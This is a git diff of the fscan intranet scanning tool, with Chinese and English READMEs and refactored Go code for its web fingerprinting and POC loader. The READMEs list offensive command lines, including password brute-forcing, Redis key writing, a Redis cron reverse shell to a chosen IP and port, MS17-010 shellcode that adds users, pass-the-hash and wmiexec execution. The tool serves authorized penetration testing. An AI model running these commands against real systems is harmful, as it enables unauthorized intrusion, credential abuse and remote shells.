fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
```
编译命令
```
go build -ldflags="-s -w " -trimpath
## 进阶用法
### 扫描控制
```bash
# 跳过存活检测、不保存文件、跳过web poc扫描
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
# 指定扫描结果保存路径
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
# 从文件导入目标
fscan.exe -hf ip.txt
```
完整参数
```
-Num int
poc rate (default 20)
-c string
exec command (ssh)
-cookie string
set poc cookie
-debug
debug mode will print more error info
-domain string
smb domain
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hs ip.txt
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nopoc
not to scan web vul
-np
not to ping
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")
-ping
using ping replace icmp
-pocname string
use the pocs these contain pocname, -pocname weblogic
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-u string
url
-uf string
urlfile
-user string
username
-userf string
username file
-wt int
Set web timeout (default 5)
### 特定功能
```bash
# Redis利用
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
# SSH操作
fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令
# 密码爆破
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件
fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞
```
## 运行截图
### 代理设置
```bash
# HTTP代理
fscan.exe -u http://baidu.com -proxy 8080
# SOCKS5代理
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
```
### 特定漏洞检测
```bash
# MS17-010检测
fscan.exe -h 192.168.1.1/24 -m ms17010
# MS17-010利用
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
```
## 编译说明
```bash
# 基础编译
go build -ldflags="-s -w " -trimpath main.go
# 使用UPX压缩(可选)
upx -9 fscan.exe
```
## Arch Linux安装
```bash
# 使用yay
yay -S fscan-git
# 或使用paru
paru -S fscan-git
```
# 0x04 参数说明
## 目标设置
- `-h` : 设置目标IP
- 支持单个IP`192.168.11.11`
- 支持IP范围:`192.168.11.11-255`
- 支持多个IP`192.168.11.11,192.168.11.12`
- `-hf` : 从文件读取目标
- `-hn` : 设置要排除的IP范围
- `-u` : 指定单个URL扫描
- `-uf` : 指定URL文件扫描
## 扫描控制
- `-m` : 指定扫描模式,默认为"all"
- `-t` : 设置扫描线程数,默认600
- `-time` : 端口扫描超时时间,默认3秒
- `-wt` : Web访问超时时间,默认5秒
- `-debug` : 设置进度打印间隔,默认60秒
- `-silent` : 开启静默模式,适用于CS扫描
## 端口配置
- `-p` : 指定扫描端口
- 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
- `-pa` : 在默认端口基础上新增端口
- `-pn` : 设置要排除的端口
## 爆破相关
- `-user` : 指定用户名
- `-userf` : 指定用户名文件
- `-pwd` : 指定密码
- `-pwdf` : 指定密码文件
- `-usera` : 在默认用户字典基础上新增用户
- `-pwda` : 在默认密码字典基础上新增密码
## Web相关
- `-cookie` : 设置Cookie
- `-num` : Web POC发包速率,默认20
- `-pocname` : 指定Web POC的模糊名称
- `-pocpath` : 指定POC路径
## 代理设置
- `-proxy` : 设置HTTP代理
- `-socks5` : 设置SOCKS5代理
## 输出控制
- `-o` : 设置结果保存路径,默认"result.txt"
- `-no` : 不保存扫描结果
- `-nobr` : 跳过密码爆破
- `-nopoc` : 跳过Web POC扫描
- `-np` : 跳过存活探测
## 特殊功能
- `-c` : SSH命令执行
- `-domain` : SMB爆破时设置域名
- `-rf` : Redis写公钥模块的文件路径
- `-rs` : Redis计划任务反弹shell的IP端口
- `-sshkey` : 指定SSH私钥路径
- `-sc` : MS17010利用模块shellcode功能
## 存活探测
- `-ping` : 使用ping代替ICMP进行存活探测
# 0x05 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
@@ -136,33 +205,96 @@ go build -ldflags="-s -w " -trimpath
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
# 404StarLink 2.0 - Galaxy
# 0x06 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
# 0x07 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 0x08 Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 最近更新
[+] 2021/4/22 修改webtitle模块,加入gbk解码
[+] 2021/4/21 加入netbios探测、域控识别
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
# 0x09 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 0x10 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 0x11 最近更新
## 2024 更新
- **2024/12/19**: v2.0.0 重大更新
- 完整代码重构,提升性能和可维护性
- 重新设计模块化架构,支持插件扩展
- 改进并发控制,提升扫描效率
## 2023 更新
- **2023/11/13**:
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
- 支持JSON格式保存结果(`-json`
- 调整TLS最低版本至1.0
- 支持端口分组(`-p db,web,service`
## 2022 更新
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
- **2022/7/6**: 优化内存管理,扩展URL支持
- **2022/7/2**:
- 增强POC fuzz模块
- 新增MS17017利用功能
- 加入socks5代理支持
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito
- **2022/1/11**: 新增Oracle密码爆破
- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能
## 2021 更新
- **2021/12/7**: 新增RDP扫描功能
- **2021/12/1**: 全面优化功能模块
- **2021/6/18**: 改进POC识别机制
- **2021/5/29**: 新增FCGI未授权扫描
- **2021/5/15**: 发布Windows 2003版本
- **2021/5/6**: 更新核心模块
- **2021/4/21**: 加入NetBIOS探测和域控识别
- **2021/3/4**: 支持URL批量扫描
- **2021/2/25**: 支持密码爆破功能
- **2021/2/8**: 新增指纹识别功能
- **2021/2/5**: 优化ICMP探测
## 2020 更新
- **2020/12/12**: 集成YAML解析引擎,支持XRay POC
- **2020/12/6**: 优化ICMP模块
- **2020/12/03**: 改进IP段处理
- **2020/11/17**: 新增WebScan模块
- **2020/11/16**: 优化ICMP模块
- **2020/11/15**: 支持文件导入IP
_感谢所有为项目做出贡献的开发者_
[url-docen]: README_EN.md
+260
View File
@@ -0,0 +1,260 @@
# fscan
[中文][url-doczh]
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.Others:
* Save ouput result
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
# 4. Demo
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
# 5. Disclaimer
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md
+65 -36
View File
@@ -3,67 +3,96 @@ package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
"strings"
)
// CheckDatas 存储HTTP响应的检查数据
type CheckDatas struct {
Body []byte
Headers string
Body []byte // 响应体
Headers string // 响应头
}
func InfoCheck(Url string, CheckData []CheckDatas) {
var matched bool
var infoname []string
// InfoCheck 检查URL的指纹信息
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matchedInfos []string
for _, data := range CheckData {
// 遍历检查数据
for _, data := range *CheckData {
// 规则匹配检查
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
var matched bool
var err error
// 根据规则类型选择匹配内容
switch rule.Type {
case "code":
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
default:
matched, err = regexp.MatchString(rule.Rule, data.Headers)
}
if matched == true {
infoname = append(infoname, rule.Name)
// 处理匹配错误
if err != nil {
Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
continue
}
// 添加匹配成功的规则名
if matched {
matchedInfos = append(matchedInfos, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
// MD5匹配检查暂时注释
/*
if flag, name := CalcMd5(data.Body); flag {
matchedInfos = append(matchedInfos, name)
}
*/
}
infostr := RemoveMore(infoname)
// 去重处理
matchedInfos = removeDuplicateElement(matchedInfos)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
common.LogSuccess(result)
// 输出结果
if len(matchedInfos) > 0 {
result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
Common.LogSuccess(result)
return matchedInfos
}
return []string{""}
}
// CalcMd5 计算内容的MD5并与指纹库比对
func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body)
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas {
if md5str == md5data.Md5Str {
return true, md5data.Name
contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
// 比对MD5指纹库
for _, md5Info := range info.Md5Datas {
if contentMd5 == md5Info.Md5Str {
return true, md5Info.Name
}
}
return false, ""
}
func RemoveMore(a []string) (infostr string) {
var ret []string
for i := 0; i < len(a); i++ {
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
continue
// removeDuplicateElement 移除切片中的重复元素
func removeDuplicateElement(items []string) []string {
// 预分配空间
result := make([]string, 0, len(items))
seen := make(map[string]struct{}, len(items))
// 使用map去重
for _, item := range items {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
ret = append(ret, a[i])
}
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
infostr = strings.ReplaceAll(infostr, "]", "")
return
return result
}
+96 -23
View File
@@ -3,44 +3,117 @@ package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"log"
"net/http"
"time"
"os"
"path/filepath"
"strings"
"sync"
)
//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
var pocinfo = common.Pocinfo
pocinfo.Target = info.Url
err := Execute(pocinfo)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
// WebScan 执行Web漏洞扫描
func WebScan(info *Common.HostInfo) {
// 确保POC只初始化一次
once.Do(initpoc)
// 构建扫描信息
var pocinfo = Common.Pocinfo
urlParts := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(urlParts[:3], "/")
// 执行扫描
if pocinfo.PocName != "" {
// 指定POC扫描
Execute(pocinfo)
} else {
// 根据指纹信息选择POC扫描
for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo)
}
}
}
func Execute(PocInfo common.PocInfo) error {
// Execute 执行具体的POC检测
func Execute(PocInfo Common.PocInfo) {
// 创建基础HTTP请求
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
return err
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err))
return
}
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
return nil
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
// 根据名称筛选POC并执行
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, Common.PocNum)
}
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
// initpoc 初始化POC加载
func initpoc() {
if Common.PocPath == "" {
// 从嵌入的POC目录加载
entries, err := Pocs.ReadDir("pocs")
if err != nil {
Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err))
return
}
// 加载YAML格式的POC文件
for _, entry := range entries {
filename := entry.Name()
if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") {
if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
} else {
// 从指定目录加载POC
Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath))
err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) {
if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
}
}
return nil
})
if err != nil {
Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err))
}
}
}
// filterPoc 根据POC名称筛选
func filterPoc(pocname string) []*lib.Poc {
if pocname == "" {
return AllPocs
}
var matchedPocs []*lib.Poc
for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) {
matchedPocs = append(matchedPocs, poc)
}
}
return matchedPocs
}
+314
View File
@@ -0,0 +1,314 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
{"绿盟防火墙", "headers", "(NSFocus)"},
